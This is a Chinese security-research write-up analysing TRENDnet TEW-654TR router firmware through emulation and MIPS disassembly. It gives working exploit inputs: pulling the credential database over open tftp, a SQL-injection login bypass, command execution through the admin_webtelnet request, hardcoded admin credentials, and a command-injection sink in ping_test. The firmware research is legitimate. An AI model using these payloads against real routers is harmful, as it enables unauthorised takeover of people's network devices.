安全路透社
当前位置:安全路透社 > 网络转载 > 正文

TEW-654TR路由器漏洞分析和挖掘

* 原创作者:影武者实验室

0×00 前言 

拜读完devttys0前辈的”exploiting embedded systems”系列.分析了下相关固件 
路由器型号: TEW-654TR 
固件下载地址: http://download.trendnet.com/TEW-654TR/firmware/


0×01 环境设置

1.png

#!/bin/bash

INPUT="$1"
LEN=$(echo -n "$INPUT" | wc -c)
PORT="1234"

if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
    echo -e "\nUsage: sudo $0 \n"
    exit 1
fi

cp $(which qemu-mipsel-static) ./qemu

echo "$INPUT" | chroot . ./qemu -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REMOTE_ADDR="1.1.1.100" -g $PORT /usr/bin/my_cgi.cgi 2>/dev/null

rm -f ./qemu

这里因为是小端机mips架构,所以复制了qemu-mipsel-static,mips架构跟intel架构在漏洞挖掘思路上并没有什么不同,只是利用有区别,例如溢出时要判断是否是叶子函数等等. 
因为cgi脚本里有getenv的动作,所以用-E设置env,-g指定了gdb远程调试的端口. /usr/bin/my_cgi.cgi是在读配置文件的时候取得的,当然 这个也能从真实提交请求的时候看到.


0×02 漏洞分析一:读取路由器admin账号密码

真实的登录请求包: 
request=login&user_name=admin&user_pwd=password

在静态分析的时候,可以直接查询相关关键字,定位到登录函数的位置. 
这里搜索request,定位到主函数内

2.png

首先保存现场到栈上,然后call getenv(“REQUEST_METHOD”),获取不到的话,跳到loc_40914c处从栈上恢复s0-s7、fp、ra的值,然后跳转到ra重新调用getenv. 
返回true的话再进行判断是get亦或post方法

3.png

4.png

获取length、type、remote_addr等值之后,向下跟踪发现有打开数据库的动作.

.text:00409460                 blez    $s1, loc_409938
.text:00409464                 lui     $s0, 2
.text:00409468                 la      $t9, open_db
.text:0040946C                 ori     $a0, $s0, 0xE5F0
.text:00409470                 jalr    $t9 ; open_db
.text:00409474                 addu    $a0, $s3, $a0
.text:00409478                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
.text:0040947C                 nop

我们搜一下存在的db文件:

root@ubuntu:~/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root# find ./ -name *.db
./mnt/wizard_rt.db
./mnt/user.db
./mnt/ap.db
./mnt/rt.db
./mnt/default_rt.db
./mnt/default_apc.db
./mnt/wizard_ap.db
./mnt/default_ap.db
./mnt/apc.db
./mnt/iface.db

来看一下内容:

root@ubuntu:~/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root# file ./mnt/user.db 
./mnt/user.db: SQLite 3.x database
root@ubuntu:~/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root# sqlite3 ./mnt/user.db 
SQLite version 3.11.0 2016-02-15 17:29:24
Enter ".help" for usage hints.
sqlite> .tables
login_info
sqlite> .schema login_info
CREATE TABLE "login_info" ("login_ip" VARCHAR NOT NULL , "login_time" INTEGER NOT NULL , "login_level" CHAR NOT NULL );
sqlite> select * from login_info;
sqlite> select * from login_info;
sqlite> open
   ...> ;
Error: near "open": syntax error
sqlite> ^Z
[1]+  Stopped                 sqlite3 ./mnt/user.db
root@ubuntu:~/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root# sqlite3 ./mnt/rt.db 
SQLite version 3.11.0 2016-02-15 17:29:24
Enter ".help" for usage hints.
sqlite> .tables
advanced_network      smtp_settings         wan_settings        
daylight_saving       special_application   wan_static          
db_version            static_routing        website_filter      
dhcp_server           syslog                website_filter_mode 
dmz                   time                  wireless_advanced   
dynamic_dns           user                  wireless_basic      
dynamic_routing       virtual_server        wireless_filter     
ip_filter             wan_dhcp              wireless_filter_mode
lan_settings          wan_l2tp              wireless_security   
log_setting           wan_pppoe             wireless_wps        
message               wan_pptp              wizard_setting      
nat_filter            wan_russia_l2tp       wpa_settings        
remote_management     wan_russia_pppoe    
restore_default       wan_russia_pptp     
sqlite> .schema user
CREATE TABLE "user" ("user_name" VARCHAR DEFAULT '', "user_pwd" VARCHAR DEFAULT '', "level" CHAR DEFAULT '');
sqlite> select * from user;
admin|admin|1
user|user|0

那么如何才能获得查询这个表呢? 
当然可以注入,不过还有更优雅的方式. 
黑盒测试时,扫描AP的所有端口,能发现开了69,探测指纹得知是tftp. 
白盒读启动配置文件,能直接看到.

root@ubuntu:~/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root/etc/rc.d# cat rcS 
#!/bin/ash

# This script runs when init it run during the boot process.
# Mounts everything in the fstab
mount -a
mount -o remount +w /

# Mount the RAM filesystem to /tmp
mount -t tmpfs tmpfs /tmp

# copy all files in the mnt folder to the etc folder
cp -a /mnt/* /etc
mkdir -p /var/etc
mkdir -p /var/firm
mkdir -p /var/log
mkdir -p /var/misc
mkdir -p /var/run
mkdir -p /var/sbin
mkdir -p /var/tmp
mkdir -p /tmp/var
cp -f /etc/udhcpd.conf /var/etc/
cp -f /etc/udhcpd.leases /var/misc/
#Add link for resolv.conf
#ln -sf /var/etc/resolv.conf /etc/resolv.conf
# Load configure file from Flash
/bin/echo "Init System..."
system_manager &
# Start tftpd
/bin/echo "Start Tftpd..."
tftpd &
#insert cc_dev module for reset packet counter
insmod /lib/modules/cc_dev.ko

那么:

root@ubuntu:~# tftp 192.168.114.131
tftp> get /mnt/rt.db
Received 54272 bytes in 0.0 seconds
tftp> ^C
tftp> ll
?Invalid command
tftp> ^Z
[2]+  Stopped                 tftp 192.168.114.131
root@ubuntu:~# 
root@ubuntu:~# ll | grep rt.db
-rw-r--r--  1 root root    54220 Oct 20 00:14 rt.db

0×03 漏洞分析二:sql injection

接着看那段open_db的代码:

.text:00409460                 blez    $s1, loc_409938
.text:00409464                 lui     $s0, 2
.text:00409468                 la      $t9, open_db
.text:0040946C                 ori     $a0, $s0, 0xE5F0
.text:00409470                 jalr    $t9 ; open_db
.text:00409474                 addu    $a0, $s3, $a0
.text:00409478                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
.text:0040947C                 nop
.text:00409480                 la      $v1, my_db
.text:00409484                 beqz    $v0, loc_40914C 

返回失败句柄的时候,跟上面一样.恢复现场
.text:0040914C loc_40914C:                              # CODE XREF: main+94j
.text:0040914C                                          # main+3F4j ...
.text:0040914C                 lui     $t0, 2
.text:00409150
.text:00409150 loc_409150:                              # CODE XREF: main+240j
.text:00409150                                          # main+324j ...
.text:00409150                 ori     $t0, 0x6710
.text:00409460                 blez    $s1, loc_409938
.text:00409464                 lui     $s0, 2
.text:00409468                 la      $t9, open_db
.text:0040946C                 ori     $a0, $s0, 0xE5F0
.text:00409470                 jalr    $t9 ; open_db
.text:00409474                 addu    $a0, $s3, $a0
.text:00409478                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
.text:0040947C                 nop
.text:00409480                 la      $v1, my_db
.text:00409484                 beqz    $v0, loc_40914C  # open fail, restore s0-s7,fp,ra

返回成功句柄会调用check_remote_ip函数,这函数就是字面意思,没什么特殊的检测动作:

.text:004094BC                 move    $a0, $s5
.text:004094C0                 la      $t9, check_remote_ip
.text:004094C4                 nop
.text:004094C8                 jalr    $t9 ; check_remote_ip
.text:004094CC                 move    $s2, $v0
.text:004094D0                 li      $a0, 0x2E6BC     # it's likely exist vuln.
.text:004094D0                                          # because verify(remote ip) entry login
.text:004094D8                 addu    $a0, $sp
.text:004094DC                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
.text:004094E0                 blez    $s2, loc_409824

返回值<=0的话就关闭open_db的句柄:

.text:00409824 loc_409824:                              # CODE XREF: main+450j
.text:00409824                                          # main+9D4j ...
.text:00409824                 la      $v1, my_db
.text:00409828                 la      $t9, close_db
.text:0040982C                 lw      $a0, (my_db - 0x45A6D4)($v1)
.text:00409830                 jalr    $t9 ; close_db
.text:00409834                 nop
.text:00409838                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
.text:0040983C                 bnez    $s7, loc_409A20
.text:00409840                 nop

5.png

之后还有write_db_flash的动作,remote_ip在认证流程中看起来很重要.感觉就像用的ip认证.而非cookie. 
这里我没有真实的路由器,验证起来有点麻烦,有这款路由器的读者可以测试一下.

check_remote_ip之后,比较接受到的参数值,这里比较的是登录后的动作,验证不通过则跳到loc_40964C进行登录:

.text:004094E4                 sw      $v0, 0($a0)
.text:004094E8                 la      $s1, loc_410000
.text:004094EC                 la      $t9, strcmp
.text:004094F0                 addiu   $s0, $sp, 0x2E6F0+var_2E6B8
.text:004094F4                 move    $a0, $s0
.text:004094F8                 jalr    $t9 ; strcmp
.text:004094FC                 addiu   $a1, $s1, (aLogin - 0x410000)  # "login"
.text:00409500                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409504                 beqz    $v0, loc_40964C
.text:00409508                 nop
.text:0040950C                 la      $a1, loc_410000
.text:00409510                 la      $t9, strcmp
.text:00409514                 addiu   $a1, (aShow_message - 0x410000)  # "show_message"
.text:00409518                 jalr    $t9 ; strcmp
.text:0040951C                 move    $a0, $s0
.text:00409520                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409524                 beqz    $v0, loc_40964C
.text:00409528                 nop
.text:0040952C                 la      $a1, loc_410000
.text:00409530                 la      $t9, strcmp
.text:00409534                 addiu   $a1, (aReboot - 0x410000)  # "reboot"
.text:00409538                 jalr    $t9 ; strcmp
.text:0040953C                 move    $a0, $s0
.text:00409540                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409544                 beqz    $v0, loc_40964C
.text:00409548                 nop
.text:0040954C                 la      $a1, loc_410000
.text:00409550                 la      $t9, strcmp
.text:00409554                 addiu   $a1, (aLogout - 0x410000)  # "logout"
.text:00409558                 jalr    $t9 ; strcmp
.text:0040955C                 move    $a0, $s0
.text:00409560                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409564                 beqz    $v0, loc_40964C
.text:00409568                 nop
.text:0040956C                 la      $a1, loc_410000
.text:00409570                 la      $t9, strcmp
.text:00409574                 addiu   $a1, (aFw_ver - 0x410000)  # "fw_ver"
.text:00409578                 jalr    $t9 ; strcmp
.text:0040957C                 move    $a0, $s0
.text:00409580                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409584                 beqz    $v0, loc_40964C
.text:00409588                 nop
.text:0040958C                 la      $a1, loc_410000
.text:00409590                 la      $t9, strcmp
.text:00409594                 addiu   $a1, (aHw_ver - 0x410000)  # "hw_ver"
.text:00409598                 jalr    $t9 ; strcmp
.text:0040959C                 move    $a0, $s0
.text:004095A0                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
.text:004095A4                 beqz    $v0, loc_40964C
.text:004095A8                 nop
.text:004095AC                 la      $a1, loc_410000
.text:004095B0                 la      $t9, strcmp
.text:004095B4                 addiu   $a1, (aCheck_station_ - 0x410000)  # "check_station_status"
.text:004095B8                 jalr    $t9 ; strcmp
.text:004095BC                 move    $a0, $s0
.text:004095C0                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
.text:004095C4                 beqz    $v0, loc_40964C
.text:004095C8                 nop
.text:004095CC                 la      $a1, loc_410000
.text:004095D0                 la      $t9, strcmp
.text:004095D4                 addiu   $a1, (aGet_router_ip - 0x410000)  # "get_router_ip"
.text:004095D8                 jalr    $t9 ; strcmp
.text:004095DC                 move    $a0, $s0
.text:004095E0                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
.text:004095E4                 beqz    $v0, loc_40964C
.text:004095E8                 nop
.text:004095EC                 la      $a1, loc_410000
.text:004095F0                 la      $t9, strcmp
.text:004095F4                 addiu   $a1, (aGet_device_nam - 0x410000)  # "get_device_name"
.text:004095F8                 jalr    $t9 ; strcmp
.text:004095FC                 move    $a0, $s0
.text:00409600                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409604                 beqz    $v0, loc_40964C
.text:00409608                 nop
.text:0040960C                 la      $a1, loc_410000
.text:00409610                 la      $t9, strcmp
.text:00409614                 addiu   $a1, (aNoAuth - 0x410000)  # "no-auth"
.text:00409618                 jalr    $t9 ; strcmp
.text:0040961C                 move    $a0, $s0
.text:00409620                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409624                 beqz    $v0, loc_40964C
.text:00409628                 move    $a0, $s0
.text:0040962C                 la      $a1, loc_410000
.text:00409630                 la      $t9, strcmp
.text:00409634                 nop
.text:00409638                 jalr    $t9 ; strcmp
.text:0040963C                 addiu   $a1, (aLanguage - 0x410000)  # "language"
.text:00409640                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409644                 bnez    $v0, loc_40A0B0
.text:00409648                 nop
.text:0040964C
.text:0040964C loc_40964C:                              # CODE XREF: main+474j
.text:0040964C                                          # main+494j ...
.text:0040964C                 la      $a1, loc_410000
.text:00409650                 la      $t9, strcmp
.text:00409654                 addiu   $a1, (aLoad_setting - 0x410000)  # "load_setting"
.text:00409658                 jalr    $t9 ; strcmp
.text:0040965C                 move    $a0, $s3
.text:00409660                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409664                 beqz    $v0, loc_409A3C
.text:00409668                 addiu   $a1, $s1, (aLogin - 0x410000)  # "login"
.text:0040966C                 la      $t9, strcmp
.text:00409670                 addiu   $s0, $s3, 0x20
.text:00409674                 jalr    $t9 ; strcmp
.text:00409678                 move    $a0, $s0
.text:0040967C                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409680                 beqz    $v0, loc_409A6C

在loc_40964c处下断点.

6.png

7.png

s0指向”login”,作为参数传给strcmp,之后进入loc_409A6C,指向do_login函数,执行sql查询.

.text:00409A6C loc_409A6C:                              # CODE XREF: main+5F0j
.text:00409A6C la      $t9, do_login
.text:00409A70 lw      $a3, 0x2E6F0+var_2E6F0($fp)
.text:00409A74 move    $a1, $s2
.text:00409A78 jalr    $t9 ; do_login
.text:00409A7C move    $a2, $s5
.text:00409A80 lw      $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409A84 b       loc_409824
.text:00409A88 nop

8.png

将用户名和密码复制到栈上,比较长度,重置一片空间,选择数据库,exec_sql,可以看到没有任何过滤动作,存在注入. 
此时我们user=admin pass=password,登录失败进行重定向.恢复栈帧.

.text:0040B82C loc_40B82C:                              # CODE XREF: do_login+138j
.text:0040B82C la      $v0, loc_410000
.text:0040B830 nop
.text:0040B834 addiu   $s0, $v0, (aLogin - 0x410000)    # "login"
.text:0040B838
.text:0040B838 loc_40B838:                              # CODE XREF: do_login+35Cj
.text:0040B838                                          # do_login+384j
.text:0040B838 la      $t9, unk_40A06B88
.text:0040B83C nop
.text:0040B840 jalr    $t9 ; free
.text:0040B844 move    $a0, $s2
.text:0040B848 lw      $gp, 0x78+var_68($sp)
.text:0040B84C nop
.text:0040B850 la      $t9, set_redirect_page
.text:0040B854 nop
.text:0040B858 jalr    $t9 ; set_redirect_page
.text:0040B85C move    $a0, $s0
.text:0040B860 lw      $gp, 0x78+var_68($sp)
.text:0040B864 lw      $ra, 0x78+var_8($sp)
.text:0040B868 lw      $s5, 0x78+var_C($sp)
.text:0040B86C lw      $s4, 0x78+var_10($sp)
.text:0040B870 lw      $s3, 0x78+var_14($sp)
.text:0040B874 lw      $s2, 0x78+var_18($sp)
.text:0040B878 lw      $s1, 0x78+var_1C($sp)
.text:0040B87C lw      $s0, 0x78+var_20($sp)
.text:0040B880 jr      $ra
.text:0040B884 addiu   $sp, 0x78

那么构造: 
request=login&user_name=admin&user_pwd='%20or%20'1'%3D'1"

9.png


0×04 漏洞分析三: 任意命令执行

继续向下看,beqz $v0, loc_409A6C beqz显然,执行完登录认证的动作后并不会跳回来. 
下方还有好几处字符串比较动作,admin_webtelnet尤其引人注意,我们来看一下send_telnet_cmd函数.

.text:0040964C loc_40964C:                              # CODE XREF: main+474j
.text:0040964C                                          # main+494j ...
.text:0040964C                 la      $a1, loc_410000
.text:00409650                 la      $t9, strcmp
.text:00409654                 addiu   $a1, (aLoad_setting - 0x410000)  # "load_setting"
.text:00409658                 jalr    $t9 ; strcmp
.text:0040965C                 move    $a0, $s3
.text:00409660                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409664                 beqz    $v0, loc_409A3C
.text:00409668                 addiu   $a1, $s1, (aLogin - 0x410000)  # "login"
.text:0040966C                 la      $t9, strcmp
.text:00409670                 addiu   $s0, $s3, 0x20
.text:00409674                 jalr    $t9 ; strcmp
.text:00409678                 move    $a0, $s0
.text:0040967C                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409680                 beqz    $v0, loc_409A6C
.text:00409684                 move    $a0, $s3
.text:00409688                 la      $a1, loc_410000
.text:0040968C                 la      $t9, strcmp
.text:00409690                 addiu   $a1, (aAdmin_login - 0x410000)  # "admin_login"
.text:00409694                 jalr    $t9 ; strcmp 
.text:00409698                 move    $a0, $s0
.text:0040969C                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
.text:004096A0                 nop
.text:004096A4                 la      $t9, admin_login
.text:004096A8                 beqz    $v0, loc_409AB0
.text:004096AC                 move    $a0, $s3
.text:004096B0                 la      $a1, loc_410000
.text:004096B4                 la      $t9, strcmp
.text:004096B8                 addiu   $a1, (aAdmin_webtelne - 0x410000)  # "admin_webtelnet"
.text:004096BC                 jalr    $t9 ; strcmp
.text:004096C0                 move    $a0, $s0
.text:004096C4                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
.text:004096C8                 nop
.text:004096CC                 la      $t9, send_telnet_cmd
.text:004096D0                 beqz    $v0, loc_409ACC
.text:004096D4                 nop
======================================================================

loc_409ACC:

.text:00409ACC                 jalr    $t9
.text:00409AD0                 move    $a0, $s3
.text:00409AD4                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409AD8                 b       loc_409824
.text:00409ADC                 nop
======================================================================

.text:00415308                 .globl send_telnet_cmd
.text:00415308 send_telnet_cmd:                         # DATA XREF: main+63Co
.text:00415308                                          # .got:send_telnet_cmd_ptro
.text:00415308
.text:00415308 var_18          = -0x18
.text:00415308 var_10          = -0x10
.text:00415308 var_C           = -0xC
.text:00415308 var_8           = -8
.text:00415308
.text:00415308                 li      $gp, 0x4CF78
.text:00415310                 addu    $gp, $t9
.text:00415314                 addiu   $sp, -0x28
.text:00415318                 sw      $ra, 0x28+var_8($sp)
.text:0041531C                 sw      $s1, 0x28+var_C($sp)
.text:00415320                 sw      $s0, 0x28+var_10($sp)
.text:00415324                 sw      $gp, 0x28+var_18($sp)
.text:00415328                 la      $s0, send_cmd
.text:0041532C                 la      $t9, memset
.text:00415330                 move    $s1, $a0
.text:00415334                 move    $a1, $zero
.text:00415338                 move    $a0, $s0
.text:0041533C                 jalr    $t9 ; memset
.text:00415340                 li      $a2, 0x1F4
.text:00415344                 lw      $gp, 0x28+var_18($sp)
.text:00415348                 move    $a0, $s0
.text:0041534C                 li      $a1, 0x420000
.text:00415350                 la      $t9, sprintf
.text:00415354                 addiu   $a2, $s1, 0x299
.text:00415358                 jalr    $t9 ; sprintf
.text:0041535C                 addiu   $a1, (aSTmpTmp_send_r - 0x420000)  # "%s > /tmp/tmp_send_result"
.text:00415360                 lw      $gp, 0x28+var_18($sp)
.text:00415364                 nop
.text:00415368                 la      $t9, system
.text:0041536C                 nop
.text:00415370                 jalr    $t9 ; system
.text:00415374                 move    $a0, $s0
.text:00415378                 lw      $gp, 0x28+var_18($sp)
.text:0041537C                 lw      $ra, 0x28+var_8($sp)
.text:00415380                 la      $a0, loc_410000
.text:00415384                 la      $t9, set_redirect_page
.text:00415388                 lw      $s1, 0x28+var_C($sp)
.text:0041538C                 lw      $s0, 0x28+var_10($sp)
.text:00415390                 addiu   $a0, (aAdmin_webtelne - 0x410000)  # "admin_webtelnet"
.text:00415394                 jr      $t9 ; set_redirect_page
.text:00415398                 addiu   $sp, 0x28
.text:00415398  # End of function send_telnet_cmd

sprintf拼接字符串交由system执行 
但是在当前request=admin_webtelnet的情况下,并不会进入到loc_40964C. 来看一下交叉引用:

10.png

.text:0040A0B0 loc_40A0B0:                              # CODE XREF: main+5B4j
.text:0040A0B0                 la      $t9, update_login_time
.text:0040A0B4                 nop
.text:0040A0B8                 jalr    $t9 ; update_login_time
.text:0040A0BC                 move    $a0, $s5
.text:0040A0C0                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
.text:0040A0C4                 bnez    $v0, loc_40964C
.text:0040A0C8                 nop

更新登录时间,返回true会跳到loc_40964C,明显这是认证成功后的动作,在真实的场景中,我们可以用sql注入或者tftp直接获取admin账号密码 
在qemu中动态调试的话,我直接将v0寄存器置为1,进入到loc_40964C.

11.png

那么payload:

“request=admin_webtelnet&user=whoami”


0×05 漏洞挖掘一: privilege escalation

看send_telnet_cmd函数的时候向上翻看到有个admin_login函数,根据/var/check是否存在检查admin是否登录. 
admin_login function:

.text:00415220
.text:00415220 li      $gp, 0x4D060
.text:00415228 addu    $gp, $t9
.text:0041522C addiu   $sp, -0x20
.text:00415230 sw      $ra, 0x20+var_4($sp)
.text:00415234 sw      $s0, 0x20+var_8($sp)
.text:00415238 sw      $gp, 0x20+var_10($sp)
.text:0041523C li      $a1, 0x420000
.text:00415240 la      $t9, unk_40A07DA0
.text:00415244 move    $s0, $a0
.text:00415248 addiu   $a1, (aCameo_sw5 - 0x420000)     # "cameo_sw5"
.text:0041524C jalr    $t9 ; strcmp
.text:00415250 addiu   $a0, 0x299
.text:00415254 lw      $gp, 0x20+var_10($sp)
.text:00415258 addiu   $a0, $s0, 0x512
.text:0041525C li      $a1, 0x420000
.text:00415260 la      $t9, unk_40A07DA0
.text:00415264 bnez    $v0, loc_41528C
.text:00415268 addiu   $a1, (aSuperman - 0x420000)      # "superman"
.text:0041526C jalr    $t9 ; strcmp
.text:00415270 nop
.text:00415274 lw      $gp, 0x20+var_10($sp)
.text:00415278 nop
.text:0041527C li      $a0, 0x420000
.text:00415280 la      $t9, _system
.text:00415284 beqz    $v0, loc_4152D4
.text:00415288 addiu   $a0, (aEcho1VarCheck - 0x420000)  # "echo 1 >/var/check"

.text:004152D4  # ---------------------------------------------------------------------------
.text:004152D4
.text:004152D4 loc_4152D4:                              # CODE XREF: admin_login+64j
.text:004152D4 jalr    $t9 ; system
.text:004152D8 nop
.text:004152DC lw      $gp, 0x20+var_10($sp)
.text:004152E0 lw      $ra, 0x20+var_4($sp)
.text:004152E4 la      $v0, loc_410000
.text:004152E8 la      $a0, redirect_page
.text:004152EC addiu   $v0, (aAdmin_webtelne - 0x410000)  # "admin_webtelnet"
.text:004152F0 sw      $v0, (redirect_page - 0x45A6A8)($a0)
.text:004152F4 lw      $a0, (redirect_page - 0x45A6A8)($a0)
.text:004152F8 la      $t9, set_redirect_page
.text:004152FC lw      $s0, 0x20+var_8($sp)
.text:00415300 jr      $t9 ; set_redirect_page
.text:00415304 addiu   $sp, 0x20
.text:00415304  # End of function admin_login

第一个参数无验证,所以普通用户权限登录后:

request=admin_login&user_name=cameo_sw5&user_pwd=superman

12.png

admin_logout function:

.text:00415748 .globl admin_do_logout
.text:00415748 admin_do_logout:                         # CODE XREF: main+1C7Cp
.text:00415748                                          # DATA XREF: main:loc_40AD04o ...
.text:00415748 li      $gp, 0x4CB38
.text:00415750 addu    $gp, $t9
.text:00415754 li      $a0, 0x420000
.text:00415758 la      $t9, _unlink
.text:0041575C nop
.text:00415760 jr      $t9 ; unlink
.text:00415764 addiu   $a0, (aCatVarCheck+4 - 0x420000)  # "/var/check"
.text:00415764  # End of function admin_do_logout

0×06 漏洞挖掘二: 任意命令执行

漏洞发生在ping_test函数上,与send_telnet_cmd基本相同.

.text:00415800 .globl ping_test
.text:00415800 ping_test:                               # DATA XREF: main:loc_409AC4o
.text:00415800                                          # .got:ping_test_ptro
.text:00415800
.text:00415800 var_170= -0x170
.text:00415800 var_168= -0x168
.text:00415800 var_118= -0x118
.text:00415800 var_18= -0x18
.text:00415800 var_14= -0x14
.text:00415800 var_10= -0x10
.text:00415800 var_C= -0xC
.text:00415800 var_8= -8
.text:00415800 var_4= -4
.text:00415800
.text:00415800 li      $gp, 0x4CA80
.text:00415808 addu    $gp, $t9
.text:0041580C addiu   $sp, -0x180
.text:00415810 sw      $ra, 0x180+var_4($sp)
.text:00415814 sw      $s4, 0x180+var_8($sp)
.text:00415818 sw      $s3, 0x180+var_C($sp)
.text:0041581C sw      $s2, 0x180+var_10($sp)
.text:00415820 sw      $s1, 0x180+var_14($sp)
.text:00415824 sw      $s0, 0x180+var_18($sp)
.text:00415828 sw      $gp, 0x180+var_170($sp)
.text:0041582C la      $t9, clear_msg
.text:00415830 nop
.text:00415834 jalr    $t9 ; clear_msg
.text:00415838 move    $s1, $a0
.text:0041583C lw      $gp, 0x180+var_170($sp)
.text:00415840 addiu   $s0, $sp, 0x180+var_168
.text:00415844 la      $t9, unk_40A07AB0
.text:00415848 move    $a0, $s0
.text:0041584C move    $a1, $zero
.text:00415850 jalr    $t9 ; memset
.text:00415854 li      $a2, 0x50  # 'P'
.text:00415858 lw      $gp, 0x180+var_170($sp)
.text:0041585C addiu   $s3, $s1, 0x299
.text:00415860 li      $s2, 0x420000
.text:00415864 li      $a1, 0x420000
.text:00415868 la      $t9, unk_409F6050
.text:0041586C addiu   $a1, (aPingC1SS - 0x420000)      # "ping -c 1 %s > %s"
.text:00415870 move    $a2, $s3
.text:00415874 addiu   $a3, $s2, (aTmpPing_result - 0x420000)  # "/tmp/ping_result.log"
.text:00415878 jalr    $t9 ; sprintf
.text:0041587C move    $a0, $s0
.text:00415880 lw      $gp, 0x180+var_170($sp)
.text:00415884 move    $a0, $s0
.text:00415888 la      $t9, _system
.text:0041588C nop
.text:00415890 jalr    $t9 ; system
.text:00415894 move    $s1, $zero

reference: 
《揭秘家用路由器0day漏洞挖掘技术》  

http://www.devttys0.com/2011/09/exploiting-embedded-systems-part-1/  

http://www.devttys0.com/2011/09/exploiting-embedded-systems-part-2/  

http://www.devttys0.com/2011/09/exploiting-embedded-systems-part-3/ 

http://www.devttys0.com/2011/11/exploiting-embedded-systems-part-4/


0×07 招聘

影武者实验室长期招猥琐的渗透测试,有经验的安全研究员,以及激灵的小鲜肉实习生。

* 原创作者:影武者实验室

未经允许不得转载:安全路透社 » TEW-654TR路由器漏洞分析和挖掘

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册